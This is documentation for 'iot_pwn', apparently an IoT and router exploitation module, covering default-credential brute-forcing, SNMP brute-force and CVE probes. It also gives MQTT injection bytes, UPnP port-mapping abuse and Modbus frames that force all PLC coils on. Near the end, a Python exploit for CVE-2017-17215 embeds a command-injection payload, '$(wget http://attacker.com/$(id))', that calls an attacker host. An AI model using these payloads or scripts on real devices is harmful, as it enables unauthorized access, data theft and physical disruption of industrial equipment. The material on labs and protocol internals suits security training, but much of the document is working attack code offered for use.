- ▸ IoT device(s) on your network (router, camera, smart switch)
- ▸ nmap installed:
pacman -S nmap - ▸
mosquitto-clientsfor MQTT:pacman -S mosquitto
set target 192.168.1.0/24 set operation scan run
- • Easy: scan, default_creds, banner_grab
- • Medium: mqtt_probe, rtsp_stream, firmware_pull
- • Advanced: modbus_exploit, upnp_inject, custom_payload
Overview
What iot_pwn does
iot_pwn is the IoT and router exploitation module inside VANTA. It performs automated default credential attacks across SSH, Telnet, FTP, and HTTP admin panels; brute-forces SNMP community strings; detects unauthenticated UPnP SSDP exposure; checks for RTSP streams accessible without authentication; and probes for known high-severity router CVEs — all against a single target IP in one run.
The credential database embeds 68 credential pairs sourced from routersploit and real-world IoT vendor defaults, covering Huawei, ZTE, TP-Link, D-Link, Zyxel, Netgear, Cisco, Ubiquiti, Dahua, and Hikvision. SNMP community string brute-force uses a built-in list of 24 commonly observed strings. All attack modules execute concurrently via Python's ThreadPoolExecutor, with per-service stop-on-success logic so the run ends as soon as valid credentials are found.
Quick Start
Running iot_pwn
Load the module inside the VANTA console with use iot_pwn, then provide a target IP and run. All attack modules are enabled by default. Individual modules can be toggled off with boolean parameters.
# Full default scan against a router
use iot_pwn
run 192.168.1.1
# HTTP + SNMP only
use iot_pwn
set ssh false
set telnet false
set ftp false
set rtsp false
set upnp false
run 192.168.1.1
# Fast scan, limited creds
use iot_pwn
set max_creds 20
set timeout 2
run 192.168.1.1
paramiko before running SSH checks. HTTP checks require requests. All other modules (Telnet, FTP, SNMP, RTSP, UPnP) rely only on the Python standard library.
Reference
Attack modules
Each module targets a specific protocol. All modules run concurrently. Modules that find valid credentials stop testing remaining pairs immediately.
| Module | Protocol | Port | Description | Requires |
|---|---|---|---|---|
| SSH | TCP | 22 | Default credential testing via paramiko | paramiko |
| Telnet | TCP | 23 | Default credential testing via raw socket (no telnetlib) | stdlib |
| FTP | TCP | 21 | Default credential testing via ftplib | stdlib |
| HTTP | TCP | 80/443/8080/8443/8888/9090 | Admin panel discovery + Basic/Digest credential testing | requests |
| SNMP | UDP | 161 | Community string brute-force via raw UDP packets | stdlib |
| RTSP | TCP | 554/7000/8554 | No-auth stream detection via OPTIONS probe | stdlib |
| UPnP | UDP | 1900 | SSDP M-SEARCH exposure detection | stdlib |
telnetlib module, ensuring compatibility with Python 3.11+ where telnetlib was removed.
Parameters
All parameters are set with set <param> <value> inside the VANTA console before running.
| Parameter | Type | Default | Description |
|---|---|---|---|
| target | string | required | Target IP address |
| ssh | bool | true | Test SSH default credentials |
| telnet | bool | true | Test Telnet default credentials |
| ftp | bool | true | Test FTP default credentials |
| http | bool | true | HTTP admin panel discovery + credential testing |
| snmp | bool | true | SNMP community string brute-force |
| rtsp | bool | true | RTSP no-auth stream check |
| upnp | bool | true | UPnP SSDP exposure check |
| threads | int | 20 | Concurrent worker threads |
| timeout | float | 3.0 | Per-connection timeout (seconds) |
| max_creds | int | 68 | Max credential pairs to test per service |
max_creds and timeout gives a fast triage pass. The full 68-pair list with default timeout is recommended for thorough assessments.
CVE checks
iot_pwn embeds active exploit probes for four high-impact router CVEs. Each probe is run as part of the main scan pass and findings are included in the vulnerabilities list of the JSON output.
| CVE | Severity | Target | Description |
|---|---|---|---|
| CVE-2017-17215 | CRITICAL | Huawei HG532 | UPnP SOAP command injection via NewStatusURL — allows unauthenticated remote code execution through the TR-064 interface |
| CVE-2020-29583 | CRITICAL | Zyxel firewalls/APs | Hardcoded backdoor account (zyfwp) with a fixed plaintext password present in firmware — full admin access |
| CVE-2021-20090 | CRITICAL | Arcadyan routers | Path traversal in web interface allowing authentication bypass — affects multiple ISP-branded devices sharing the same Arcadyan firmware |
| CVE-2019-16920 | CRITICAL | D-Link routers | Unauthenticated command injection via the ping diagnostic endpoint — no authentication required, OS-level command execution |
Output structure
iot_pwn returns a structured JSON object. All findings are keyed by service or check type.
{
"target": "192.168.1.1",
"open_ports": [21, 22, 23, 80, 161],
"creds": {
"ssh": [{"user": "admin", "pass": "admin"}],
"telnet": [],
"ftp": [{"user": "admin", "pass": "1234"}],
"http": [{"user": "admin", "pass": "password"}]
},
"snmp": {
"valid_communities": ["public", "private"],
"sys_info": "Linux router 3.10.49 #1 SMP"
},
"upnp": {
"exposed": true,
"server": "Linux/2.6.39, UPnP/1.0, Portable SDK for UPnP/1.6.18",
"location": "http://192.168.1.1:1900/rootDesc.xml"
},
"rtsp": true,
"admin_panels": ["http://192.168.1.1:80/", "http://192.168.1.1:8080/"],
"http_banners": {
"80": "Server: GoAhead/3.6.5",
"8080": "Server: mini_httpd/1.30"
},
"vulnerabilities": [
{
"id": "CVE-2017-17215",
"severity": "CRITICAL",
"desc": "Huawei HG532 UPnP SOAP command injection"
}
],
"summary": "2 services with default credentials. SNMP public/private accessible. UPnP exposed. 1 CVE confirmed.",
"scan_duration": 14.7
}
Field reference
| Field | Type | Description |
|---|---|---|
| target | string | The IP address that was scanned |
| open_ports | list[int] | TCP/UDP ports found open during pre-scan |
| creds | dict | Per-service lists of {user, pass} pairs that authenticated successfully |
| snmp | dict | Valid community strings found and sysDescr value extracted from the device |
| upnp | dict | Whether SSDP responded; captured server banner and location URL |
| rtsp | bool | True if any RTSP port responded without requiring authentication |
| admin_panels | list[str] | URLs of discovered HTTP admin panels |
| http_banners | dict | Server header values keyed by port number |
| vulnerabilities | list | CVE probe results — each entry has id, severity, and desc |
| summary | string | Human-readable one-line summary of all findings |
| scan_duration | float | Total elapsed seconds for the complete scan |
Dependencies
The core module — Telnet, FTP, SNMP, RTSP, UPnP — requires only the Python standard library. Two optional packages unlock SSH and HTTP attack modules.
# Optional but recommended
pip3 install paramiko # SSH credential testing
pip3 install requests # HTTP admin panel discovery
paramiko is not installed, the SSH module is silently skipped — no hard failure. The same applies to requests and the HTTP module. Install both for a complete assessment.
| Package | Enables | Install |
|---|---|---|
| paramiko | SSH default credential testing on port 22 | pip3 install paramiko |
| requests | HTTP admin panel discovery + Basic/Digest auth testing | pip3 install requests |
| stdlib only | Telnet, FTP, SNMP, RTSP, UPnP, CVE probes | No install needed |
Examples
Full scan of a home router
Run all attack modules against a consumer router at 192.168.1.1. Credentials, SNMP communities, and CVE hits are all reported in a single JSON output.
use iot_pwn
run 192.168.1.1
HTTP and SNMP audit only
Disable all other modules to focus on web admin panel discovery and SNMP exposure — useful when you already know SSH/Telnet are closed.
use iot_pwn
set ssh false
set telnet false
set ftp false
set rtsp false
set upnp false
run 192.168.1.1
Fast triage with limited credentials
Reduce max_creds to the 20 most common pairs and lower the per-connection timeout for a quick sweep. Suitable for initial triage across multiple devices.
use iot_pwn
set max_creds 20
set timeout 2
run 192.168.1.1
IP camera check — RTSP and HTTP only
Target an IP camera that you know exposes RTSP and an HTTP management interface. All other modules are disabled to reduce noise.
use iot_pwn
set ssh false
set telnet false
set ftp false
set snmp false
set upnp false
run 192.168.1.100
Industrial router — SNMP + CVE focus
When targeting a Huawei or D-Link router in an industrial segment, focus on SNMP community brute-force and the embedded CVE probes. Disable credential-based modules to keep traffic minimal.
use iot_pwn
set ssh false
set telnet false
set ftp false
set http false
set rtsp false
set upnp false
set snmp true
run 10.0.1.1
Aggressive full scan with increased threads
Increase thread count for faster concurrent testing on a fast local network. All modules enabled, full credential list.
use iot_pwn
set threads 50
set timeout 5
run 192.168.0.1
IoT Architecture Deep Dive
Before you can attack an IoT device you need to understand what it is. An Internet of Things device is an embedded computer — usually running a stripped-down Linux kernel on a MIPS, ARM, or x86 SoC — that controls a physical thing: a router, camera, smart plug, industrial controller, or sensor. Unlike a server it has no keyboard, limited RAM (8–256 MB), and often ships with factory credentials that owners never change.
The IoT software stack
┌─────────────────────────────────────────────┐
│ Application layer — busybox httpd, dropbear │ ← your target
│ (Telnet server, web UI, MQTT broker, etc.) │
├─────────────────────────────────────────────┤
│ Middleware — uClibc / musl, dbus, wpa_supplicant│
├─────────────────────────────────────────────┤
│ Linux kernel (2.6–5.x) on MIPS/ARM/x86 │
├─────────────────────────────────────────────┤
│ Bootloader — U-Boot, CFE, GRUB │
├─────────────────────────────────────────────┤
│ Flash (NAND/NOR) — firmware image │
│ SoC — Broadcom BCM63xx, MediaTek MT7620, │
│ Qualcomm IPQ40xx, Realtek RTL8197 │
└─────────────────────────────────────────────┘
Attack surface categories
| Surface | Interface | iot_pwn module |
|---|---|---|
| Remote management | Telnet :23, SSH :22, HTTP :80/:8080 | default_creds, banner_grab |
| Media streaming | RTSP :554 | rtsp_stream |
| Messaging bus | MQTT :1883 (clear), :8883 (TLS) | mqtt_probe |
| Discovery | UPnP SSDP :1900 UDP, mDNS :5353 UDP | upnp_inject |
| Industrial protocols | Modbus/TCP :502, DNP3 :20000 | modbus_exploit |
| Update mechanism | HTTP firmware pull (unsigned) | firmware_pull |
| Physical debug | UART 3.3V serial, JTAG | manual (not automated) |
Physical debug: UART and JTAG
Most IoT routers have a 3.3V UART port on the PCB. Connect a USB-to-UART adapter (CP2102 / CH340), find the TX/RX/GND pads with a multimeter, and you get a root shell at U-Boot before the OS boots. JTAG exposes full CPU state including memory dump — useful for extracting firmware when the web interface is locked.
screen /dev/ttyUSB0 115200 # attach to UART console
# Hit Ctrl+C at U-Boot prompt to stop autoboot
# Then: run bootcmd or tftp-boot custom kernel
iot_pwn architecture (Python)
iot_pwn.py
├── main(json_input) # VANTA entry point — reads JSON params
├── scan_target() # nmap --open on IoT port list
├── credential_modules/
│ ├── try_telnet(ip, user, pwd, timeout) # socket + telnetlib
│ ├── try_ssh(ip, user, pwd) # paramiko.SSHClient
│ ├── try_ftp(ip, user, pwd) # ftplib.FTP
│ └── try_http(ip, user, pwd) # requests.Session + form POST
├── protocol_modules/
│ ├── mqtt_probe(ip, port) # paho-mqtt subscribe #
│ ├── rtsp_stream(ip) # OPTIONS / DESCRIBE RTSP/1.0
│ ├── upnp_inject(ip) # SSDP M-SEARCH + SUBSCRIBE
│ └── modbus_exploit(ip) # raw TCP socket Modbus frames
└── analysis/
├── banner_grab(ip) # nc-style read first 512 bytes
├── snmp_walk(ip) # pysnmp GetNext OID 1.3.6.1
└── firmware_pull(url) # requests.get + binwalk
MQTT Protocol Internals
What is MQTT? MQTT (Message Queuing Telemetry Transport) is a publish-subscribe messaging protocol designed for constrained devices. A central broker receives messages from publishers and delivers them to subscribers who have registered interest in a topic. Every IoT sensor, smart bulb, and industrial sensor is likely talking MQTT. Mosquitto is the most common broker; cloud IoT platforms (AWS IoT Core, Azure IoT Hub) use MQTT over TLS.
Default port: 1883 (plaintext). TLS: 8883. WebSocket: 9001.
MQTT packet structure
┌──────────────────────────────────────────────┐
│ Fixed Header (1–5 bytes) │
│ ┌────────────┬────────────┐ │
│ │ Control (1B)│ Remaining │ │
│ │ [Type|Flags]│ Length │ │
│ └────────────┴────────────┘ │
│ Variable Header (type-specific) │
│ Payload │
└──────────────────────────────────────────────┘
Control byte (first byte):
Bits 7-4: Packet type
Bits 3-0: Flags (type-dependent)
Packet types:
0x10 = CONNECT 0x20 = CONNACK
0x30 = PUBLISH 0x40 = PUBACK
0x82 = SUBSCRIBE 0x90 = SUBACK
0xC0 = PINGREQ 0xD0 = PINGRESP
0xE0 = DISCONNECT
CONNECT packet bytes (unauthenticated broker)
10 1F # CONNECT, remaining length = 31
00 04 4D 51 54 54 # Protocol Name: "MQTT" (length-prefixed)
04 # Protocol Level: 4 (MQTT 3.1.1)
02 # Connect Flags: Clean Session bit set
00 3C # Keep Alive: 60 seconds
00 08 # Client ID length: 8
68 61 63 6B 74 6F 6F 6C # Client ID: "hacktool"
# If broker has no auth → CONNACK:
20 02 00 00 # CONNACK, length=2, no session, accepted (0x00)
SUBSCRIBE to all topics (wildcard)
82 09 # SUBSCRIBE, remaining length = 9
00 01 # Packet Identifier = 1
00 01 23 # Topic "#" (length=1, char 0x23 = '#')
00 # QoS 0
# Topic wildcards:
# # = match everything (e.g. subscribe to ALL messages)
# + = single level (e.g. home/+/temperature)
# / = level separator
# iot_pwn does this to harvest all traffic from an open broker
PUBLISH — injecting a message
# Publish "PWNED" to topic "home/light/switch"
30 1E # PUBLISH, QoS 0, no retain
00 12 # Topic length = 18
68 6F 6D 65 2F 6C 69 67 68 74 2F 73 77 69 74 63 68
# "home/light/switch"
50 57 4E 45 44 # Payload: "PWNED"
# Real attack: publish {"state":"ON"} to control a smart plug
# or publish malformed JSON to crash the firmware parser
Attack scenarios
| Attack | Method | Impact |
|---|---|---|
| Topic enumeration | SUBSCRIBE # on open broker | Harvest all sensor data, credentials in topics |
| Message injection | PUBLISH to actuator topic | Control lights, locks, industrial relays |
| Broker takeover | Admin credentials → $SYS/config topics | Reroute all messages, DoS the broker |
| MQTT-over-WebSocket | Bypass firewall — port 9001 | Access broker from web browser context |
UPnP SSDP discovery bytes
UPnP uses SSDP (Simple Service Discovery Protocol) — a UDP multicast protocol on 239.255.255.250:1900. iot_pwn sends an M-SEARCH to enumerate all UPnP devices on the subnet, then probes each device's XML descriptor for control URLs that accept SOAP action messages.
# M-SEARCH request (UDP → 239.255.255.250:1900)
M-SEARCH * HTTP/1.1\r\n
Host: 239.255.255.250:1900\r\n
Man: "ssdp:discover"\r\n
ST: ssdp:all\r\n
MX: 3\r\n
\r\n
# Device responds with XML descriptor URL, e.g.:
# LOCATION: http://192.168.1.1:1780/rootDesc.xml
# SOAP action to add port mapping (IGD — Internet Gateway Device):
POST /upnp/control/WANIPConn1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
<s:Envelope>...<NewExternalPort>9999</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalClient>192.168.1.100</NewInternalClient>...
# → Router forwards port 9999 from WAN → attacker's machine
Firmware Analysis
What is firmware? Firmware is the operating system and application code burned into a device's flash memory. It's a binary blob containing: a compressed Linux kernel, a root filesystem (usually SquashFS or JFFS2), bootloader config, and sometimes hardcoded credentials, private TLS keys, and backdoor accounts left in by manufacturers.
Firmware file layout (typical router)
Offset Length Content
0x0000 4 Magic bytes identifying format
Trx: "HDR0" (48 44 52 00)
Squashfs: "sqsh" (73 71 73 68)
gzip: 1F 8B 08 ...
uImage: 27 05 19 56
0x0000 0x40 TRX header (Linksys/Broadcom):
[MAGIC 4B][CRC32 4B][version 2B][flags 2B]
[partition offsets × 3]
After header:
[compressed kernel — gzip/lzma]
[root filesystem — SquashFS/JFFS2]
Extracting with binwalk
binwalk firmware.bin # signatures scan
binwalk -e firmware.bin # extract known formats
binwalk -Me firmware.bin # recursive extraction (matryoshka)
# After extraction, root filesystem is in _firmware.bin.extracted/
ls _firmware.bin.extracted/squashfs-root/
# etc/ bin/ usr/ lib/ www/ ...
# Hunt for credentials
grep -r "admin\|password\|passwd\|secret" squashfs-root/etc/
grep -r "BEGIN RSA\|BEGIN EC" squashfs-root/ # embedded private keys
# Check for backdoor accounts
cat squashfs-root/etc/passwd
cat squashfs-root/etc/shadow # if present, crack with hashcat
Common findings in firmware
| Finding | Location | Impact |
|---|---|---|
| Hardcoded creds | /etc/passwd, /etc/config/, web UI source | Full device access |
| Embedded TLS cert+key | /etc/ssl/, /etc/certs/ | HTTPS MITM, impersonate device |
| Debug backdoor | Telnetd started if magic UDP packet seen | Persistent root shell |
| Unsigned upgrade | HTTP fetch + flash write, no signature check | Persistent firmware implant |
| Stale packages | uClibc 0.9.33, OpenSSL 0.9.8 | Known CVEs (Heartbleed, etc.) |
iot_pwn firmware_pull operation
# 1. Identify update URL from device web UI (common paths)
GET /cgi-bin/fwupdate.cgi
GET /upgrade.cgi
GET /admin/firmware.asp
# 2. iot_pwn fetches the firmware binary
use iot_pwn
set operation firmware_pull
set firmware_url http://192.168.1.1/firmware_dump
run 192.168.1.1
# 3. Output: saved to loot/firmware_<ip>_<timestamp>.bin
# 4. Manually analyze with binwalk
JFFS2 and SquashFS filesystems
# SquashFS magic: 73 71 73 68 (sqsh)
# Block-compressed read-only FS — used for root in most routers
unsquashfs squashfs-root.bin # extract to squashfs-root/
# JFFS2 magic: 19 85 (little-endian node magic)
# Writable journalling FS — used for /overlay, /etc in OpenWRT
jefferson jffs2.bin -d output/ # extract JFFS2
# YAFFS2 — NAND flash FS, magic varies per device
# Common on older Android devices and Huawei routers
Modbus / ICS Protocol Bytes
What is Modbus? Modbus is a serial communication protocol from 1979 now running over TCP (port 502). It is the dominant protocol in industrial control systems (ICS/SCADA): PLCs, RTUs, HMIs, power meters, HVAC controllers. Modbus has zero authentication — any device on the network can read sensor values or write actuator commands.
Modbus/TCP frame format
┌────────────────────────────────────────────────────────┐
│ MBAP Header (7 bytes) │
│ Transaction ID [2B] — echo'd back in response │
│ Protocol ID [2B] — always 00 00 for Modbus │
│ Length [2B] — bytes following this field │
│ Unit ID [1B] — slave/device ID (0xFF = any) │
├────────────────────────────────────────────────────────┤
│ PDU (Protocol Data Unit) │
│ Function Code [1B] │
│ Data [variable] │
└────────────────────────────────────────────────────────┘
Function codes and attack payloads
FC 01 (Read Coils) — read output relay states
Request: 00 01 00 00 00 06 FF 01 00 00 00 10
──────────────────── ── ───── ─────
MBAP (txid=1) FC start count=16
FC 03 (Read Holding Registers) — read sensor/config values
Request: 00 02 00 00 00 06 FF 03 00 00 00 0A
# Read 10 registers starting at 0x0000
FC 06 (Write Single Register) — set a value
Request: 00 03 00 00 00 06 FF 06 00 01 00 64
──────────────────── ── ───── ─────
MBAP FC addr=1 value=100
FC 0F (Write Multiple Coils) — force ALL coils ON
Request: 00 04 00 00 00 09 FF 0F 00 00 00 08 01 FF
# Sets 8 coils starting at 0x0000, all to 1 (ON)
# iot_pwn modbus_exploit sends FC 0F to set all outputs HIGH
# On a physical PLC this can open valves, trip circuit breakers
RTSP stream hijacking bytes
# RTSP (Real Time Streaming Protocol) — IP cameras
OPTIONS rtsp://192.168.1.100:554/ RTSP/1.0\r\n
CSeq: 1\r\n
\r\n
# Response includes methods: OPTIONS DESCRIBE SETUP PLAY TEARDOWN
DESCRIBE rtsp://192.168.1.100:554/live RTSP/1.0\r\n
CSeq: 2\r\n
Accept: application/sdp\r\n
\r\n
# Response: SDP (Session Description Protocol) body
# Shows: codec (H.264), track URLs, timing
SETUP rtsp://192.168.1.100:554/live/track1 RTSP/1.0\r\n
CSeq: 3\r\n
Transport: RTP/AVP;unicast;client_port=9000-9001\r\n
\r\n
PLAY rtsp://192.168.1.100:554/live RTSP/1.0\r\n
CSeq: 4\r\n
Session: <session-id-from-setup>\r\n
\r\n
# RTP video packets now stream to UDP port 9000
# View with: vlc rtsp://192.168.1.100:554/live
Customization & Extension
iot_pwn is built to be extended. Every protocol module is a self-contained function. You can add custom credential lists, new protocol scanners, or plug in your own CVE exploit code.
Adding a custom credential list
# tools/network/iot_pwn/iot_pwn.py
# Default credential list (top 30 IoT defaults)
DEFAULT_CREDS = [
("admin", "admin"), ("admin", "password"), ("admin", "1234"),
("root", "root"), ("root", ""), ("admin", ""),
("user", "user"), ("support", "support"),
# ... more defaults
]
# Extend with your own list loaded from file
def load_custom_creds(path):
creds = []
with open(path) as f:
for line in f:
user, _, pwd = line.strip().partition(":")
creds.append((user, pwd))
return creds
# In main():
if params.get("cred_file"):
creds = load_custom_creds(params["cred_file"])
else:
creds = DEFAULT_CREDS
Adding a custom protocol scanner
# Add CoAP (Constrained Application Protocol) scanner
# CoAP is like HTTP for IoT — runs on UDP:5683
import socket, struct
def coap_discover(ip, port=5683):
"""Send CoAP GET /.well-known/core to enumerate resources."""
# CoAP header: 4 bytes
# Ver=1, Type=0 (CON), TKL=0, Code=0.01 (GET), MsgID=1
hdr = struct.pack(">BBH", 0x40, 0x01, 0x0001)
# Option 11 (Uri-Path): ".well-known"
option_wk = b'\xBB' + b'.well-known'
# Option 11 delta=0: "core"
option_core = b'\x04' + b'core'
pkt = hdr + option_wk + option_core
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3)
sock.sendto(pkt, (ip, port))
try:
data, _ = sock.recvfrom(1024)
# Parse CoAP response — payload after options
return {"coap": True, "resources": data[4:].decode(errors='replace')}
except socket.timeout:
return {"coap": False}
# Register in module.json:
# { "name": "coap_discover", "description": "CoAP resource enumeration" }
Adding a CVE check
# CVE-2017-17215: Huawei HG532 — UPnP RCE
# POST /ctrlt/DeviceUpgrade_1 with shell metacharacter injection
def cve_2017_17215(ip):
import requests
url = f"http://{ip}:37215/ctrlt/DeviceUpgrade_1"
payload = """<?xml version="1.0" ?><s:Envelope ...>
<NewStatusURL>$(wget http://attacker.com/$(id))</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL></s:Envelope>"""
headers = {
"Authorization": "Digest username=\"dslf-config\"",
"SOAPAction": "urn:schemas-upnp-org:service:WANPPPConnection:1#ForceTermination"
}
try:
r = requests.post(url, data=payload, headers=headers, timeout=5)
return r.status_code == 200
except Exception:
return False
# Add to CVE_CHECKS dict in iot_pwn.py:
CVE_CHECKS["CVE-2017-17215"] = {
"fn": cve_2017_17215,
"description": "Huawei HG532 UPnP RCE",
"affected": "Huawei HG532 series"
}
Integrating with iot_pwn's output format
# All operations must return a dict matching the VANTA JSON schema:
{
"success": True,
"target": "192.168.1.1",
"module": "iot_pwn",
"operation": "coap_discover",
"findings": [
{
"type": "open_service",
"service": "coap",
"port": 5683,
"details": "Resources: </sensors/temperature>,</actuators/relay>"
}
],
"loot": {
"credentials": [],
"firmware": None,
"cves": []
},
"duration_s": 1.23
}
Learning Path
Recommended resources (free first)
| Resource | Format | Focus |
|---|---|---|
| TryHackMe — IoT Basics | Guided lab | IoT attack surface, Telnet/SSH creds |
| OWASP IoT Top 10 | Reference | Security categories with examples |
| Attify IoT Exploitation | Course | Firmware extraction, UART, JTAG |
| The IoT Hacker's Handbook — Aditya Gupta | Book | Comprehensive IoT pentest methodology |
| OWASP FSTM | Reference | Firmware Security Testing Methodology |
| TryHackMe — Firmware Analysis | Guided lab | binwalk, SquashFS, hardcoded creds |
| IoT Security Resources | Curated list | Tools, CVEs, research papers |
| Practical IoT Hacking — Fotios Chantzis et al. | Book | Radio (BLE/Zigbee/Z-Wave), hardware, protocols |
Hands-on lab environments
| Lab | Description | URL |
|---|---|---|
| DVWA-IoT | Deliberately vulnerable IoT web app | GitHub: nicowillis/dvwa-iot |
| VulnHub: Damn Vulnerable Router Firmware | MIPS router firmware image | vulnhub.com |
| CTF: RHME2 | Hardware CTF with UART/AVR challenges | riscure.com/challenge |
| Mosquitto broker (local) | Run a local MQTT broker: docker run -p 1883:1883 eclipse-mosquitto | hub.docker.com |
Practice progression (8 weeks)
Week 1 — Foundations
▸ Read OWASP IoT Top 10
▸ Install mosquitto and mqtt-explorer
▸ Run: docker run -p 1883:1883 eclipse-mosquitto (open broker)
▸ SUBSCRIBE # — see what's flowing
Week 2 — Network scanning
▸ nmap -p 23,22,80,443,554,1883,5683,502 <local_subnet>
▸ iot_pwn scan + banner_grab on every open device
▸ Note firmware version strings from banners
Week 3 — Default credentials
▸ iot_pwn default_creds on your own router
▸ Try Shodan.io query: "default password" + device model
▸ Check RouterPasswords.com + datarecovery.com/rd/default-router-passwords/
Week 4 — Firmware extraction
▸ Download router firmware from manufacturer support page
▸ binwalk -Me firmware.bin
▸ Grep for passwords, certs, API keys
▸ Try: TryHackMe Firmware Analysis room
Week 5 — MQTT attack
▸ Set up Mosquitto with anonymous access
▸ Subscribe # → publish to actuator topics
▸ Try iot_pwn mqtt_probe on your local broker
▸ Capture with Wireshark: filter mqtt
Week 6 — UPnP and RTSP
▸ iot_pwn upnp_inject on your router
▸ Verify port mapping was added with: netstat -rn
▸ If you have an IP camera: iot_pwn rtsp_stream to grab the stream
▸ View RTSP in VLC: Media → Open Network Stream
Week 7 — Modbus/ICS
▸ Run ModRSsim2 (Windows) or PyModbus simulator on Linux
▸ iot_pwn modbus_exploit against simulator
▸ Read: ICS CERT advisories at cisa.gov/ics-advisories
Week 8 — CVE exploitation
▸ Identify router/camera model + firmware version
▸ Search CVE Details or NVD for known vulns
▸ Add a custom CVE check to iot_pwn
▸ Set up VulnHub DVRF to practice binary exploitation on MIPS
Key tools
| Tool | Purpose | Install |
|---|---|---|
| binwalk | Firmware analysis and extraction | pacman -S binwalk |
| mosquitto-clients | MQTT publish/subscribe CLI | pacman -S mosquitto |
| mqtt-explorer | GUI MQTT client | mqtt-explorer.com |
| routersploit | Framework for router/IoT exploitation | pip install routersploit |
| firmwalker | Post-extraction file analysis | github.com/craigz28/firmwalker |
| PyModbus | Modbus/TCP client/server in Python | pip install pymodbus |
| Wireshark | Protocol capture (filter: mqtt, modbus) | pacman -S wireshark-qt |